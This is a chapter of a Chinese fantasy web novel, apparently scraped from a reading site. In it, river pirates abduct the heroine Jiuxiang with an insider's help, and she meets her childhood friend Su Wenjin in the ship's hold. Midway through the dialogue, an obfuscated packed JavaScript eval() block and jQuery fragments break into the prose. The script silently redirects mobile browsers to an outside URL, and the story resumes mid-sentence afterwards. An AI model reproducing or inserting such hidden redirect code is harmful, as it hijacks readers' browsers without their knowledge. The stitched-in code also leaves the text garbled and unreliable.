123读书网 > 玄幻小说 > 九襄传 > 88.再遇故人·啼笑皆非

88.再遇故人·啼笑皆非

    船在夜色的江水中行进,随着夜色越深雾气也越深,而雾深处显出一团更深的黑影——初时以为是夜泊的商船,待那黑影撕破雾气显出全貌,才见飘摇的黑帆上画着白骨骷髅,帆索间悬着的铁钩在月色下泛着冷光。


    江风骤急,雾霭翻涌。“是水匪!”船夫的嘶喊尚在喉间,七八条套索已撕破夜空,铁钩如毒蛇獠牙狠狠咬入船舷。黑影借索飞荡而来,刀刃出鞘的寒光连成一片。


    “护卫!”太师匆忙奔到船头疾呼,却见船舷旁本该戒备的身影竟横七竖八瘫倒一地,口角垂涎,面色青白——分明是中了极厉害的蒙汗药。


    内奸!


    这念头刚如冰针刺入脑海,一道冷风已掠至身后。


    太师猛回头,瞳孔骤缩。


    护卫长陈沧的手稳稳握着刀,而刀锋正贴在九襄白皙的颈侧。这个素日里最是沉稳忠厚的汉子,此刻脸上没有半分表情,只有眼底浮着一层陌生的、死水般的寒意。


    “陈沧你——”太师怒喝未毕。


    “太师勿动。”陈沧的声音平静得可怕,手腕微沉,刀锋立刻压出一道细窄的红线,“若想保住小菩萨的性命,便站住别动。”


    桅杆上的风灯剧烈摇晃,将陈沧半边脸照得明灭不定。他那身绣着狮尾麒麟的护卫长服,在昏光下突然显得格外刺目。


    太师的身形猛然顿住,像一尊骤然被冰封的怒佛。这不是临时起意。这是早已布下的网,而自己,竟从未察觉。


    “为何?”太师的声音从齿缝中挤出。


    陈沧没有回答。他只是微微偏头,望向已贴近船舷的黑帆贼船。


    太师紧握的指节爆出青白。他一生经历过无数险境,一身足以开碑裂石的功夫,他能瞬间击碎陈沧的头颅,快过那柄紧贴肌肤的刀,就在他迟疑是否出手的这一刻,九襄忽然几不可察地对他眨了一下眼。


    太师瞬间读懂:她看穿了——如此布局,不是要夺命,而是要活捉。


    她在告诉他:放心,他们既要活口,我便暂无性命之虞。而更深一层,是她敛在平静表象下的决断:既然幕后之人费尽心机要“请”我去,那我便去。让我亲眼看看,那黑帆之后,究竟藏着怎样一副面孔。


    太师胸腔里那团翻滚的怒焰,在这一瞥之下,竟奇异地沉淀下去,化为更冰冷、更坚硬的东西。他深深看了九襄一眼,明白了她的意思,然后,极其缓慢地,松开了握拳的力道。


    几乎同时,两个黑衣匪徒跃过跳板,一左一右钳制住九襄,迅速将她带向黑帆船。陈沧的刀终于撤开,他退后一步,朝太师微微躬身——竟仍行了一个标准的下属礼,随后毫不犹豫地转身,紧随九襄没入贼船阴影之中。


    太师僵立在原地,眼睁睁看着那面骷髅旗在眼前掠过,看着跳板收起,看着黑帆吃满风,迅疾地滑入下游浓得化不开的夜色里。江风卷着水沫扑打在他脸上,冰冷刺骨。


    “快去江心寺。”他开口,声音沙哑,却已没了片刻前的震怒,只剩下一种磐石般的沉冷,“寻王家水军。”


    匪船底舱,腐潮气混着鱼腥味闷头压来。舱壁油灯昏黄,灯影里却蜷着一人。


    九襄被狠狠推进底舱时,脚下一绊,整个人向前扑去,怀中那枚贴身戴了十多年的白玉平安扣滑脱而出,顺着潮湿的木板“叮叮”滚了两圈,正停在一双布鞋边。油灯昏黄的光恰好转过一个角度,照亮了那枚玉扣。


    鞋的主人闻声寻去,忽然浑身剧烈一震,闪电般将那枚白玉死死攥入手心,指腹在玉面上疯狂摩挲,触摸着那熟悉的纹路……又凑到眼底,反复看,然后,他激动地对着九襄道:“九妹妹!是九妹妹吗?”


    “小……小粮仓……?”九襄的呼吸凝在喉间。


    这绰号太久远了——那时他们都还是两个被关在黑屋里的孩子,是六岁的她带着五岁的他逃出人贩子的囚禁。


    两人隔着一丈昏暗对视着,浪涛闷闷拍着船板,那声响像是从很远的地方传来,又沉沉地撞在心上。


    九襄的目光细细描摹过他的脸——记忆中那张圆乎乎、白嫩嫩的脸,笑起来左颊有个小梨涡,眼尾一粒浅褐小痣像是谁不小心用画笔点上去的。那时的“小粮仓”,整个人都像颗刚剥壳的莲子,饱满而莹润。


    可眼前这张脸……


    昏黄的油灯光吝啬地勾勒出嶙峋的轮廓。曾经圆润的下颌线变得如刀削般分明,皮肤被江风和日头磨成了粗砺的铜褐色,深深浅浅,还有几处未愈的擦伤与晒蜕的皮。颧骨高高突起,眼窝深陷下去,那粒小痣还在,却像是嵌在了一道细微的皱纹里。


    他整个人缩在阴影里,肩背却出乎意料地宽阔结实,哪里还有半点那个锦衣玉食的苏家小少爷的影子?这分明是……一个在风浪里讨生活的、沉默而坚韧的船夫。


    苏文瑾也在看她。他的目光很静,眼前的女子周身散发着与这肮脏底舱格格不入的洁净气韵。岁月把她打磨成了另一种模样,是被香火与经文浸润出的、柔韧而不可摧折的淡然。就像一尊原本藏在深闺的白玉观音,即便被移到了这风雨飘摇的破船上,眉目依旧低垂慈悲,却让人不敢轻易伸手触碰,仿佛那平静的表象下,自有不可撼动的力。


    良久,苏文瑾自嘲的语调打破了这份沉默。


    “怎么,认不出了?小粮仓……早就被这江水,泡发了,又晒干了。”


    九襄忽然极轻地笑了一声,那笑声短促,像是从胸腔深处勉强挤出的气息。


    “小粮仓……苏少爷。”她念出这个久远到近乎陌生的称呼。


    (宝莲哭笑不得OS:苏文瑾少爷,咱们这一别十几年,竟又……在绑匪手里遇上了。真是奇妙的缘分。)


    “嘘嘘——别叫我少爷!我父亲说,苏家的米粮生意是水上漂来的,继承人脚底不能没沾过江水。”苏文瑾的声音在昏暗里沉了沉,“这两年,我轮着在各处粮铺做掌管,常跟着送粮船走水路。三个月前,正是押一批粮从海上去北边。”


    “北边?那是……”九襄瞳孔骤然收缩。


    “是北狄拓跋。”苏文瑾大方地接过她未竟的话,“所以我才得走海路。”


    “那日船刚出长江口,海上起了浓雾。雾里突然冒出三艘快船,船头包铁,桅杆上悬的正是这黑骷髅旗。他们根本不问来路,弩箭钉满船舷,钩索如蝗虫般扑来……押船的老掌柜当场被砍了,水手们反抗的都被扔进海里。好在没人认得我。海盗揪着领子问话,我就指着地上老掌柜的尸体,哑着嗓子哭喊‘舅舅。”


    “许是看我才二十出头,又一身粗糙,他们真把我当成跟着舅舅学看账的外甥了。海盗头子踢了我一脚,说‘留个


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17000891|189537||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    会算账的也好,船上缺个记数的’。”


    他嘴角扯出一个极淡的、近乎自嘲的弧度:“这三个月,我白天被喊上去给他们清点劫来的货——多少匹绸缎、多少袋私盐、多少箱南洋香料,一笔笔,记得清清楚楚。晚上又被关回这舱底。”


    “九妹妹,这回咱遇到的可不是拐小孩的人牙子了。”苏文瑾的声音在昏暗中低徊,“这是横行东海的黑骷髅旗——专劫官商、绑肉票的海盗。对了,你……怎会落到他们手里?”他目光扫过她简素的衣着,“你是名动丛林的小菩萨,总不会是出海讲经布道吧?”


    “说来惭愧,”九襄不自觉地放松了原本紧绷的肩线,连自己都未察觉语气里透出一丝久违的轻缓,“我自金陵走水路,原是要回报恩寺迎请塔基的。”


    话音落下,连她自己也微微一怔。在这飘摇凶险的贼船底舱,对着一个分别十二年的故人,她的言语间竟寻不出半分应有的戒备与疏离。那些在宫廷里浸染出的谨慎、在世事中磨出的分寸,此刻像退潮般悄然散去,反而有种奇异的坦然。


    仿佛时光从未流逝,他仍是那个被她背在背上一路逃亡的“小粮仓”。


    她对上苏文瑾在昏暗中格外清亮的眸子,那里面映着同样的恍惚与确认。


    九襄忽然微微蹙眉,“这航线在内河,何来海盗?”


    “内河?!”苏文瑾猛地坐直了身子,脸上露出惊愕,“前几日,还在海上,他们为何突然跑进内河?”他像是听见了什么荒唐事,眉头挑得老高,随即却又像是想到什么,脸色忽地一沉。


    可这凝重只维持了一瞬,就被另一种更鲜活、更直白的情绪冲散了。他忽然往前一凑,那张被风霜磨砺过的脸上竟浮现出一种少年气的、带着责怪的急切:


    “等等——你先别说这个!我倒要问问你,”他眼睛瞪得圆了些,那颗眼尾的小痣也跟着生动起来,“你跑到金陵皇城也不来寻我?”他啧了一声,语气里混着久别重逢的激动和一股子憋了太久的委屈,“江南苏家,招牌还不够响吗?你但凡打听一句……你压根就没想过来找我是不是?”


    (宝莲再次哭笑不得OS:苏文瑾少爷这性子可跟小时候一点也不一样了,若不是这眼角的痣,我都不敢认了。)


    九襄微微低下头:


    “皇城……非我所愿。”她声音很轻,却字字清晰,像是在剥开一层裹了太久的茧,“是命运裹挟,身不由己。后来,又生了一场大病,缠绵病榻许久,许多事……便耽搁了。”她顿了顿,仿佛在越过记忆里那段苍白虚弱的时光,“待能起身时,便往那报恩寺去……却不想被劫至此……只是我没想到,会在这里再次遇见你。”


    她的话语在这里停住,只是平静地陈述一个事实。但那双望向苏文瑾的眼睛里,却盛满了无需言说的深切感激:“这些牵丝绊藤的过往,说来话长,且非三言两语能尽。你当年给我的这枚平安扣……它可是大慈悲,是它……换回了三万石救命粮,渡过了清平一县百姓,等我们离开这地方,我再……细细说与你听,可好?”


    “好。”他开口,声音透着一股被涤荡过的清朗,“小菩萨的智慧……救过我的命,这平安扣经你的手,又救了那么多人的命,这是我苏文瑾的荣耀。”


    底舱外传来模糊的吆喝声,船身又一阵摇晃。